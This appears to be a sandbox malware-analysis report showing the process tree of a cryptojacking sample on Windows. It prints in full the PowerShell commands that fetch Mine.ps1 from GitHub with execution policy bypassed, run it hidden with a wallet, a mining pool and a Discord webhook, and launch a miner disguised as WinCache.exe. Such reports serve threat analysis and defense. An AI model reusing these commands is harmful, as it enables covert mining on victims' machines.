PID 480 wrote to memory of 2600	480	firefox.exe	111
PID 480 wrote to memory of 2600	480	firefox.exe	111
PID 480 wrote to memory of 2600	480	firefox.exe	111
PID 480 wrote to memory of 2600	480	firefox.exe	111
PID 480 wrote to memory of 1104	480	firefox.exe	112
PID 480 wrote to memory of 1104	480	firefox.exe	112
PID 480 wrote to memory of 1104	480	firefox.exe	112
PID 480 wrote to memory of 1104	480	firefox.exe	112
PID 480 wrote to memory of 1744	480	firefox.exe	113
PID 480 wrote to memory of 1744	480	firefox.exe	113
PID 480 wrote to memory of 1744	480	firefox.exe	113
PID 480 wrote to memory of 1744	480	firefox.exe	113
PID 480 wrote to memory of 1368	480	firefox.exe	114
PID 480 wrote to memory of 1368	480	firefox.exe	114
PID 480 wrote to memory of 1368	480	firefox.exe	114
PID 480 wrote to memory of 1368	480	firefox.exe	114
PID 480 wrote to memory of 4444	480	firefox.exe	115
PID 480 wrote to memory of 4444	480	firefox.exe	115
PID 480 wrote to memory of 4444	480	firefox.exe	115
PID 480 wrote to memory of 4444	480	firefox.exe	115
PID 480 wrote to memory of 4452	480	firefox.exe	116
PID 480 wrote to memory of 4452	480	firefox.exe	116
PID 480 wrote to memory of 4452	480	firefox.exe	116
PID 480 wrote to memory of 1192	480	firefox.exe	117

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy WMI provider
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Windows\system32\winlogon.exe
winlogon.exe
1⤵
PID:600
- C:\Windows\system32\dwm.exe
  "dwm.exe"
  2⤵
  PID:1208
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{8349f51f-271e-44ce-b179-b026bc67a88b}
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:1924

C:\Windows\system32\lsass.exe
C:\Windows\system32\lsass.exe
1⤵
PID:680

C:\Windows\System32\WUDFHost.exe
"C:\Windows\System32\WUDFHost.exe" -HostGUID:{193a1820-d9ac-4997-8c55-be817523f6aa} -IoEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-080cd804-1919-436b-8f38-535ea3b358d6 -SystemEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-02573a6c-edcb-45c7-b277-3aa9a20c64ec -IoCancelEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-ddaf90ad-ffd4-4bfc-99af-4df1e724c64f -NonStateChangingEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-db670080-65e3-48d8-b73f-f09471eee138 -LifetimeId:728373d4-0883-496c-a60b-a870e59a9f6f -DeviceGroupId:WudfDefaultDevicePool -HostArg:0
1⤵
PID:896

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
1⤵
PID:64

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts
1⤵
PID:768

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog
1⤵
PID:412

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
1⤵
PID:1048

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc
1⤵
PID:1056

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s nsi
1⤵
PID:1096

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp
1⤵
PID:1148

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s DisplayEnhancementService
1⤵
PID:1184

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc
1⤵
PID:1448

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes
1⤵
PID:1476

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
1⤵
PID:1500
- C:\Windows\system32\taskhostw.exe
  taskhostw.exe {222A245B-E637-4AE9-A93F-A59CA119A75E}
  2⤵
  PID:3140

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc
1⤵
PID:1520

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem
1⤵
PID:1540

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s SENS
1⤵
PID:1776

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager
1⤵
PID:1788
- C:\Windows\system32\sihost.exe
  sihost.exe
  2⤵
  PID:572

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc
1⤵
PID:1812

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder
1⤵
PID:1852

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s netprofm
1⤵
PID:1908

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1968

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p -s Dnscache
1⤵
PID:2044

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1132

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1284

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection
1⤵
PID:2064

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository
1⤵
PID:2076

C:\Windows\System32\spoolsv.exe
C:\Windows\System32\spoolsv.exe
1⤵
PID:2232

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation
1⤵
PID:2316

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt
1⤵
PID:2456

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT
1⤵
PID:2604

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent
1⤵
PID:2632

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc
1⤵
PID:2688

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p -s CryptSvc
1⤵
PID:2792

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer
1⤵
PID:2800

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks
1⤵
PID:2840

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService
1⤵
PID:2888

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc
1⤵
PID:3088

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s TokenBroker
1⤵
PID:3196

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc
1⤵
PID:3324

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious behavior: AddClipboardFormatListener
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of SetWindowsHookEx
PID:3400
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Exec.bat"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:1280
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -ExecutionPolicy Bypass -Command "Invoke-WebRequest -Uri 'https://raw.githubusercontent.com/UnfairAdventage/AutoMine/refs/heads/main/Mine.ps1' -OutFile 'C:\Users\Admin\AppData\Local\Temp\Mine.ps1' -UseBasicParsing"
    3⤵
    - Badlisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2092
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\Local\Temp\Mine.ps1" -Wallet "R9vXXZ2AXz14qg2eKmdNbJBacg5T9Bx7Vz" -Pool "us-rvn.2miners.com:6060" -Algo "kawpow" -DiscordWebhook "https://discord.com/api/webhooks/1211888966391824447/jPqHkvBqXc9mB29gM0mivbS53KBHx8vz8utNbKIG14DmFfDkxybTIBJIOj7F7jmja6S3"
    3⤵
    - Badlisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:4148
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\ro35qn1m\ro35qn1m.cmdline"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1596
    - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES5A31.tmp" "c:\Users\Admin\AppData\Local\Temp\ro35qn1m\CSC71711F1FE08478EA92987235440B3F.TMP"
        5⤵
        
        PID:3408
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -File "C:\ProgramData\Microsoft\Windows\Caches\WinCache\WinCache.ps1" -Wallet "R9vXXZ2AXz14qg2eKmdNbJBacg5T9Bx7Vz" -Pool "us-rvn.2miners.com:6060" -Algo "kawpow" -Worker "rig_5ec5b0" -DiscordWebhook "https://discord.com/api/webhooks/1211888966391824447/jPqHkvBqXc9mB29gM0mivbS53KBHx8vz8utNbKIG14DmFfDkxybTIBJIOj7F7jmja6S3" -Run -NoElevate
      4⤵
      Suspicious use of NtCreateUserProcessOtherParentProcess
      Badlisted process makes network request
      Command and Scripting Interpreter: PowerShell
      Downloads MZ/PE file
      Suspicious use of SetThreadContext
      Suspicious behavior: EnumeratesProcesses
      PID:1176
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:5388
    - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\cs0q5t1j\cs0q5t1j.cmdline"
        5⤵
        
        PID:4100
      - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES2A4D.tmp" "c:\Users\Admin\AppData\Local\Temp\cs0q5t1j\CSC8580ACC4CA4D4EF4AC7991FC36334074.TMP"
        6⤵
        
        PID:5032
    - - C:\ProgramData\Microsoft\Windows\Caches\WinCache\WinCache.exe
        
        "C:\ProgramData\Microsoft\Windows\Caches\WinCache\WinCache.exe" --algo kawpow --server us-rvn.2miners.com:6060 --user R9vXXZ2AXz14qg2eKmdNbJBacg5T9Bx7Vz.rig_5ec5b0
        5⤵
        Executes dropped EXE
        
        PID:4364
      - C:\ProgramData\Microsoft\Windows\Caches\WinCache\WinCache.exe
        
        "C:\ProgramData\Microsoft\Windows\Caches\WinCache\WinCache.exe" --algo kawpow --server us-rvn.2miners.com:6060 --user R9vXXZ2AXz14qg2eKmdNbJBacg5T9Bx7Vz.rig_5ec5b0 --watchdog_child_process0
        6⤵
        Executes dropped EXE
        
        PID:5516
    - - C:\ProgramData\Microsoft\Windows\Caches\WinCache\WinCache.exe
        
        "C:\ProgramData\Microsoft\Windows\Caches\WinCache\WinCache.exe" --algo kawpow --server us-rvn.2miners.com:6060 --user R9vXXZ2AXz14qg2eKmdNbJBacg5T9Bx7Vz.rig_5ec5b0
        5⤵
        Executes dropped EXE
        
        PID:5448
      - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        6⤵
        
        PID:5476
      - C:\ProgramData\Microsoft\Windows\Caches\WinCache\WinCache.exe
        
        "C:\ProgramData\Microsoft\Windows\Caches\WinCache\WinCache.exe" --algo kawpow --server us-rvn.2miners.com:6060 --user R9vXXZ2AXz14qg2eKmdNbJBacg5T9Bx7Vz.rig_5ec5b0 --watchdog_child_process0
        6⤵
        Executes dropped EXE
        
        PID:6072
    - - C:\ProgramData\Microsoft\Windows\Caches\WinCache\WinCache.exe
        
        "C:\ProgramData\Microsoft\Windows\Caches\WinCache\WinCache.exe" --algo kawpow --server us-rvn.2miners.com:6060 --user R9vXXZ2AXz14qg2eKmdNbJBacg5T9Bx7Vz.rig_5ec5b0
        5⤵
        Executes dropped EXE
        
        PID:5752
      - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        6⤵
        
        PID:2296
      - C:\ProgramData\Microsoft\Windows\Caches\WinCache\WinCache.exe
        
        "C:\ProgramData\Microsoft\Windows\Caches\WinCache\WinCache.exe" --algo kawpow --server us-rvn.2miners.com:6060 --user R9vXXZ2AXz14qg2eKmdNbJBacg5T9Bx7Vz.rig_5ec5b0 --watchdog_child_process0
        6⤵
        Executes dropped EXE
        
        PID:4108
    - - C:\ProgramData\Microsoft\Windows\Caches\WinCache\WinCache.exe
        
        "C:\ProgramData\Microsoft\Windows\Caches\WinCache\WinCache.exe" --algo kawpow --server us-rvn.2miners.com:6060 --user R9vXXZ2AXz14qg2eKmdNbJBacg5T9Bx7Vz.rig_5ec5b0
        5⤵
        Executes dropped EXE
        
        PID:6892
      - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        6⤵
        
        PID:6116
      - C:\ProgramData\Microsoft\Windows\Caches\WinCache\WinCache.exe
        
        "C:\ProgramData\Microsoft\Windows\Caches\WinCache\WinCache.exe" --algo kawpow --server us-rvn.2miners.com:6060 --user R9vXXZ2AXz14qg2eKmdNbJBacg5T9Bx7Vz.rig_5ec5b0 --watchdog_child_process0
        6⤵
        Executes dropped EXE
        
        PID:5880
    - - C:\ProgramData\Microsoft\Windows\Caches\WinCache\WinCache.exe
        
        "C:\ProgramData\Microsoft\Windows\Caches\WinCache\WinCache.exe" --algo kawpow --server us-rvn.2miners.com:6060 --user R9vXXZ2AXz14qg2eKmdNbJBacg5T9Bx7Vz.rig_5ec5b0
        5⤵
        Executes dropped EXE
        
        PID:5148
      - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        6⤵
        
        PID:4692
      - C:\ProgramData\Microsoft\Windows\Caches\WinCache\WinCache.exe
        
        "C:\ProgramData\Microsoft\Windows\Caches\WinCache\WinCache.exe" --algo kawpow --server us-rvn.2miners.com:6060 --user R9vXXZ2AXz14qg2eKmdNbJBacg5T9Bx7Vz.rig_5ec5b0 --watchdog_child_process0
        6⤵
        Executes dropped EXE
        
        PID:5296
    - - C:\ProgramData\Microsoft\Windows\Caches\WinCache\WinCache.exe
        
        "C:\ProgramData\Microsoft\Windows\Caches\WinCache\WinCache.exe" --algo kawpow --server us-rvn.2miners.com:6060 --user R9vXXZ2AXz14qg2eKmdNbJBacg5T9Bx7Vz.rig_5ec5b0
        5⤵
        Executes dropped EXE
        
        PID:6192
      - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        6⤵
        
        PID:6284
      - C:\ProgramData\Microsoft\Windows\Caches\WinCache\WinCache.exe
        
        "C:\ProgramData\Microsoft\Windows\Caches\WinCache\WinCache.exe" --algo kawpow --server us-rvn.2miners.com:6060 --user R9vXXZ2AXz14qg2eKmdNbJBacg5T9Bx7Vz.rig_5ec5b0 --watchdog_child_process0
        6⤵
        Executes dropped EXE
        
        PID:4428
    - - C:\ProgramData\Microsoft\Windows\Caches\WinCache\WinCache.exe
        
        "C:\ProgramData\Microsoft\Windows\Caches\WinCache\WinCache.exe" --algo kawpow --server us-rvn.2miners.com:6060 --user R9vXXZ2AXz14qg2eKmdNbJBacg5T9Bx7Vz.rig_5ec5b0
        5⤵
        
        PID:6344
      - C:\ProgramData\Microsoft\Windows\Caches\WinCache\WinCache.exe
        
        "C:\ProgramData\Microsoft\Windows\Caches\WinCache\WinCache.exe" --algo kawpow --server us-rvn.2miners.com:6060 --user R9vXXZ2AXz14qg2eKmdNbJBacg5T9Bx7Vz.rig_5ec5b0 --watchdog_child_process0
        6⤵
        
        PID:6408
    - - C:\ProgramData\Microsoft\Windows\Caches\WinCache\WinCache.exe
        
        "C:\ProgramData\Microsoft\Windows\Caches\WinCache\WinCache.exe" --algo kawpow --server us-rvn.2miners.com:6060 --user R9vXXZ2AXz14qg2eKmdNbJBacg5T9Bx7Vz.rig_5ec5b0
        5⤵
        
        PID:6672
      - C:\ProgramData\Microsoft\Windows\Caches\WinCache\WinCache.exe
        
        "C:\ProgramData\Microsoft\Windows\Caches\WinCache\WinCache.exe" --algo kawpow --server us-rvn.2miners.com:6060 --user R9vXXZ2AXz14qg2eKmdNbJBacg5T9Bx7Vz.rig_5ec5b0 --watchdog_child_process0
        6⤵
        
        PID:6752
    - - C:\ProgramData\Microsoft\Windows\Caches\WinCache\WinCache.exe
        
        "C:\ProgramData\Microsoft\Windows\Caches\WinCache\WinCache.exe" --algo kawpow --server us-rvn.2miners.com:6060 --user R9vXXZ2AXz14qg2eKmdNbJBacg5T9Bx7Vz.rig_5ec5b0
        5⤵
        
        PID:6188
      - C:\ProgramData\Microsoft\Windows\Caches\WinCache\WinCache.exe
        
        "C:\ProgramData\Microsoft\Windows\Caches\WinCache\WinCache.exe" --algo kawpow --server us-rvn.2miners.com:6060 --user R9vXXZ2AXz14qg2eKmdNbJBacg5T9Bx7Vz.rig_5ec5b0 --watchdog_child_process0
        6⤵
        
        PID:6380
    - - C:\ProgramData\Microsoft\Windows\Caches\WinCache\WinCache.exe
        
        "C:\ProgramData\Microsoft\Windows\Caches\WinCache\WinCache.exe" --algo kawpow --server us-rvn.2miners.com:6060 --user R9vXXZ2AXz14qg2eKmdNbJBacg5T9Bx7Vz.rig_5ec5b0
        5⤵
        
        PID:7128
      - C:\ProgramData\Microsoft\Windows\Caches\WinCache\WinCache.exe
        
        "C:\ProgramData\Microsoft\Windows\Caches\WinCache\WinCache.exe" --algo kawpow --server us-rvn.2miners.com:6060 --user R9vXXZ2AXz14qg2eKmdNbJBacg5T9Bx7Vz.rig_5ec5b0 --watchdog_child_process0
        6⤵
        
        PID:5064
- C:\Windows\system32\taskmgr.exe
  "C:\Windows\system32\taskmgr.exe" /0
  2⤵
  - Checks SCSI registry key(s)
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SendNotifyMessage
  PID:428
- C:\Program Files\Mozilla Firefox\firefox.exe
  "C:\Program Files\Mozilla Firefox\firefox.exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3108
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe"
    3⤵
    - Checks processor information in registry
    - Modifies registry class
    - NTFS ADS
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of SendNotifyMessage
    - Suspicious use of SetWindowsHookEx
    - Suspicious use of WriteProcessMemory
    PID:480
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 1980 -prefsLen 27100 -prefMapHandle 1984 -prefMapSize 270279 -ipcHandle 2056 -initialChannelId {110ae66f-ef05-43d1-b5ca-a522dd12db16} -parentPid 480 -crashReporter "\\.\pipe\gecko-crash-server-pipe.480" -appDir "C:\Program Files\Mozilla Firefox\browser" - 1 gpu
      4⤵
      PID:4428
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 2448 -prefsLen 27136 -prefMapHandle 2452 -prefMapSize 270279 -ipcHandle 2460 -initialChannelId {e600f63d-01d5-43b2-b68d-9f4c7e5a6a5e} -parentPid 480 -crashReporter "\\.\pipe\gecko-crash-server-pipe.480" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 2 socket
      4⤵
      Checks processor information in registry
      PID:1180
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 3468 -prefsLen 27326 -prefMapHandle 3472 -prefMapSize 270279 -jsInitHandle 3476 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 3484 -initialChannelId {afb7cca9-6885-4b57-abf3-11c919345e34} -parentPid 480 -crashReporter "\\.\pipe\gecko-crash-server-pipe.480" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 3 tab
      4⤵
      Checks processor information in registry
      PID:3480
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 3660 -prefsLen 27326 -prefMapHandle 3664 -prefMapSize 270279 -ipcHandle 3680 -initialChannelId {234b32e6-25f1-4e0f-877d-88945ab63b55} -parentPid 480 -crashReporter "\\.\pipe\gecko-crash-server-pipe.480" -appDir "C:\Program Files\Mozilla Firefox\browser" - 4 rdd
      4⤵
      PID:4536
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 2620 -prefsLen 34825 -prefMapHandle 2624 -prefMapSize 270279 -jsInitHandle 1620 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 1332 -initialChannelId {1af045bc-0a98-47a9-9fe2-31846e5a1bbb} -parentPid 480 -crashReporter "\\.\pipe\gecko-crash-server-pipe.480" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 5 tab
      4⤵
      Checks processor information in registry
      PID:4576
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -sandboxingKind 0 -prefsHandle 4968 -prefsLen 35013 -prefMapHandle 4972 -prefMapSize 270279 -ipcHandle 4976 -initialChannelId {84aad7b2-8b46-4204-9fea-e7616f881482} -parentPid 480 -crashReporter "\\.\pipe\gecko-crash-server-pipe.480" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 6 utility
      4⤵
      Checks processor information in registry
      PID:5688
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 5140 -prefsLen 32952 -prefMapHandle 5144 -prefMapSize 270279 -jsInitHandle 5148 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 5156 -initialChannelId {1e57c15d-ff25-45e7-9c0d-6433ead5d462} -parentPid 480 -crashReporter "\\.\pipe\gecko-crash-server-pipe.480" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 7 tab
      4⤵
      Checks processor information in registry
      PID:5716
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 5224 -prefsLen 32952 -prefMapHandle 5228 -prefMapSize 270279 -jsInitHandle 5232 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 5240 -initialChannelId {da7e567e-fd13-4cd6-a04b-a5c2d74c8dd7} -parentPid 480 -crashReporter "\\.\pipe\gecko-crash-server-pipe.480" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 8 tab
      4⤵
      Checks processor information in registry
      PID:5724
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 5596 -prefsLen 32952 -prefMapHandle 5600 -prefMapSize 270279 -jsInitHandle 5604 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 5608 -initialChannelId {d9a297f5-01d5-43e2-8011-83eaf2ede465} -parentPid 480 -crashReporter "\\.\pipe\gecko-crash-server-pipe.480" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 9 tab
      4⤵
      Checks processor information in registry
      PID:5764
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 6572 -prefsLen 33071 -prefMapHandle 6576 -prefMapSize 270279 -jsInitHandle 6580 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 6588 -initialChannelId {e4278c51-0f62-4e7a-8443-18d6b5df747d} -parentPid 480 -crashReporter "\\.\pipe\gecko-crash-server-pipe.480" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 10 tab
      4⤵
      Checks processor information in registry
      PID:2600
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 6952 -prefsLen 35567 -prefMapHandle 6936 -prefMapSize 270279 -jsInitHandle 6940 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 6404 -initialChannelId {2b45d2d3-a4fa-42c9-945e-3711a906cec0} -parentPid 480 -crashReporter "\\.\pipe\gecko-crash-server-pipe.480" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 11 tab
      4⤵
      Checks processor information in registry
      PID:1104
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 6164 -prefsLen 36884 -prefMapHandle 6472 -prefMapSize 270279 -jsInitHandle 6420 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 6888 -initialChannelId {e5576147-d4cc-4399-bf25-29d7964920f1} -parentPid 480 -crashReporter "\\.\pipe\gecko-crash-server-pipe.480" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 12 tab
      4⤵
      Checks processor information in registry
      PID:1744
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 6832 -prefsLen 36884 -prefMapHandle 7116 -prefMapSize 270279 -jsInitHandle 7120 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 7028 -initialChannelId {ed0f6f7c-2727-440a-9284-935461205a6a} -parentPid 480 -crashReporter "\\.\pipe\gecko-crash-server-pipe.480" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 13 tab
      4⤵
      Checks processor information in registry
      PID:1368
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -sandboxingKind 1 -prefsHandle 7444 -prefsLen 40024 -prefMapHandle 7452 -prefMapSize 270279 -ipcHandle 7280 -initialChannelId {65bcc2cc-64ba-4d3a-a614-52714002ca92} -parentPid 480 -crashReporter "\\.\pipe\gecko-crash-server-pipe.480" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 14 utility
      4⤵
      Checks processor information in registry
      PID:4444
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -sandboxingKind 2 -prefsHandle 7484 -prefsLen 40024 -prefMapHandle 7488 -prefMapSize 270279 -ipcHandle 7496 -initialChannelId {2be9db5a-e089-42cc-aecd-1f0fe39d2f74} -parentPid 480 -crashReporter "\\.\pipe\gecko-crash-server-pipe.480" -appDir "C:\Program Files\Mozilla Firefox\browser" - 15 utility
      4⤵
      Checks processor information in registry
      PID:4452
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 5624 -prefsLen 36884 -prefMapHandle 2632 -prefMapSize 270279 -jsInitHandle 7664 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 7748 -initialChannelId {8f192e9b-b214-4b1d-9752-7c34521dc025} -parentPid 480 -crashReporter "\\.\pipe\gecko-crash-server-pipe.480" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 16 tab
      4⤵
